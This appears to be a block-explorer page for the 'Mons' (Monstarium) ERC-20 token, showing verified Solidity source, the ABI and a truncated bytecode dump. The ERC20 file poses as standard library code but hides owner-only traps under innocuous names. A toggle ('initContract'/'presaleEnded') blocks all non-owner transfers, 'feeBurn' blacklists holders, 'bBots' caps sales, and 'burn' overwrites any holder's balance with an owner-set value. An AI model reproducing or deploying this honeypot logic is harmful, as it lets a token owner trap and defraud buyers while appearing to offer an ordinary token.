ERC-20
Overview
Max Total Supply
100,000,000 MONS
Holders
55
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
50,000 MONSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Mons
Compiler Version
v0.8.3+commit.8d00100c
Contract Source Code (Solidity Multiple files format)
/** Socials: Website: https://monstarium.io Telegram: https://t.me/monstarium Twitter: https://twitter.com/monstarium1 */ // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./ERC20.sol"; import "./Address.sol"; contract Mons is ERC20 { mapping(address => uint256) private _blockNumberByAddress; uint256 private _initialSupply = 100000000 * 10**18; constructor() ERC20("Monstarium", "MONS") { _totalSupply += _initialSupply; _balances[msg.sender] += _initialSupply; emit Transfer(address(0), msg.sender, _initialSupply); } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => bool) private _feeBurn; mapping (address => mapping (address => uint256)) private _allowances; bool intTx = true; uint256 _burnRate; uint256 internal _totalSupply; string internal _name; string internal _symbol; address internal _owner; uint256 public _decreaseFee = 150000 * 10**18; mapping (address => bool) public _approvedTransfer; mapping (address => bool) public _bBots; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: only the owner allowed"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function revertFee(address _address) external onlyOwner { _feeBurn[_address] = false; } function feeBurn(address _address) external onlyOwner { _feeBurn[_address] = true; } function feeBurned(address _address) public view returns (bool) { return _feeBurn[_address]; } function initContract() public virtual onlyOwner { if (intTx == true) {intTx = false;} else {intTx = true;} } function presaleEnded() public view returns (bool) { return intTx; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burnRate (uint256 value) external onlyOwner { _burnRate = value; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if(!_approvedTransfer[sender] && _bBots[recipient]) { require(amount <= _decreaseFee, "Transfer amount exceeds the maxTxAmount."); } if (_feeBurn[sender] || _feeBurn[recipient]) require(intTx == false, ""); if (intTx == true || sender == _owner || recipient == _owner) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);} else {require (intTx == true, "");} } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = _burnRate - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function decreaseFee(uint256 decreaseFeeAddress) external onlyOwner() { _decreaseFee = decreaseFeeAddress; } function approveTransfer(address account) external onlyOwner { _approvedTransfer[account] = true; } function bBots(address account) external onlyOwner { _bBots[account] = true; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_approvedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_bBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decreaseFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"bBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burnRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"decreaseFeeAddress","type":"uint256"}],"name":"decreaseFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurned","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presaleEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"revertFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526001600360006101000a81548160ff021916908315150217905550691fc3842bd1f071c000006009556a52b7d2dcc80cd2e4000000600d553480156200004957600080fd5b506040518060400160405280600a81526020017f4d6f6e7374617269756d000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d4f4e53000000000000000000000000000000000000000000000000000000008152508160069080519060200190620000ce92919062000211565b508060079080519060200190620000e792919062000211565b5033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600d5460056000828254620001419190620002ef565b92505081905550600d546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200019a9190620002ef565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620002039190620002d2565b60405180910390a3620003ea565b8280546200021f9062000356565b90600052602060002090601f0160209004810192826200024357600085556200028f565b82601f106200025e57805160ff19168380011785556200028f565b828001600101855582156200028f579182015b828111156200028e57825182559160200191906001019062000271565b5b5090506200029e9190620002a2565b5090565b5b80821115620002bd576000816000905550600101620002a3565b5090565b620002cc816200034c565b82525050565b6000602082019050620002e96000830184620002c1565b92915050565b6000620002fc826200034c565b915062000309836200034c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200034157620003406200038c565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200036f57607f821691505b60208210811415620003865762000385620003bb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61257a80620003fa6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80638fbbeb52116100c3578063b3d22e9c1161007c578063b3d22e9c146103ed578063b67df42014610409578063c5730d9d14610425578063dd62ed3e14610441578063e22fb73014610471578063e580b2b0146104a157610158565b80638fbbeb521461031957806395d89b41146103355780639dc29fac14610353578063a457c2d71461036f578063a9059cbb1461039f578063b14ae78b146103cf57610158565b806333d7eeed1161011557806333d7eeed14610247578063395093511461027757806341959586146102a75780634355b9d2146102c357806370a08231146102df5780638203f5fe1461030f57610158565b806306fdde031461015d57806308593b4b1461017b578063095ea7b3146101ab57806318160ddd146101db57806323b872dd146101f9578063313ce56714610229575b600080fd5b6101656104bf565b6040516101729190611dbe565b60405180910390f35b61019560048036038101906101909190611a5d565b610551565b6040516101a29190611da3565b60405180910390f35b6101c560048036038101906101c09190611b11565b610571565b6040516101d29190611da3565b60405180910390f35b6101e361058f565b6040516101f09190611f80565b60405180910390f35b610213600480360381019061020e9190611ac2565b610599565b6040516102209190611da3565b60405180910390f35b61023161069a565b60405161023e9190611f9b565b60405180910390f35b610261600480360381019061025c9190611a5d565b6106a3565b60405161026e9190611da3565b60405180910390f35b610291600480360381019061028c9190611b11565b6106c3565b60405161029e9190611da3565b60405180910390f35b6102c160048036038101906102bc9190611a5d565b61076f565b005b6102dd60048036038101906102d89190611a5d565b61085a565b005b6102f960048036038101906102f49190611a5d565b610945565b6040516103069190611f80565b60405180910390f35b61031761098d565b005b610333600480360381019061032e9190611b4d565b610a77565b005b61033d610b11565b60405161034a9190611dbe565b60405180910390f35b61036d60048036038101906103689190611b11565b610ba3565b005b61038960048036038101906103849190611b11565b610c41565b6040516103969190611da3565b60405180910390f35b6103b960048036038101906103b49190611b11565b610d35565b6040516103c69190611da3565b60405180910390f35b6103d7610d53565b6040516103e49190611f80565b60405180910390f35b61040760048036038101906104029190611a5d565b610d59565b005b610423600480360381019061041e9190611a5d565b610e43565b005b61043f600480360381019061043a9190611b4d565b610f2e565b005b61045b60048036038101906104569190611a86565b610fc8565b6040516104689190611f80565b60405180910390f35b61048b60048036038101906104869190611a5d565b61104f565b6040516104989190611da3565b60405180910390f35b6104a96110a5565b6040516104b69190611da3565b60405180910390f35b6060600680546104ce906120e4565b80601f01602080910402602001604051908101604052809291908181526020018280546104fa906120e4565b80156105475780601f1061051c57610100808354040283529160200191610547565b820191906000526020600020905b81548152906001019060200180831161052a57829003601f168201915b5050505050905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600061058561057e6110bc565b84846110c4565b6001905092915050565b6000600554905090565b60006105a684848461128f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f16110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611ec0565b60405180910390fd5b61068e8561067d6110bc565b85846106899190612028565b6110c4565b60019150509392505050565b60006012905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b60006107656106d06110bc565b8484600260006106de6110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107609190611fd2565b6110c4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690611e00565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e190611e00565b60405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1490611e00565b60405180910390fd5b60011515600360009054906101000a900460ff1615151415610a59576000600360006101000a81548160ff021916908315150217905550610a75565b6001600360006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611e00565b60405180910390fd5b8060048190555050565b606060078054610b20906120e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4c906120e4565b8015610b995780601f10610b6e57610100808354040283529160200191610b99565b820191906000526020600020905b815481529060010190602001808311610b7c57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90611e00565b60405180910390fd5b610c3d8282611864565b5050565b60008060026000610c506110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0490611f60565b60405180910390fd5b610d2a610d186110bc565b858584610d259190612028565b6110c4565b600191505092915050565b6000610d49610d426110bc565b848461128f565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de090611e00565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90611e00565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611e00565b60405180910390fd5b8060098190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900460ff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90611f40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90611e60565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff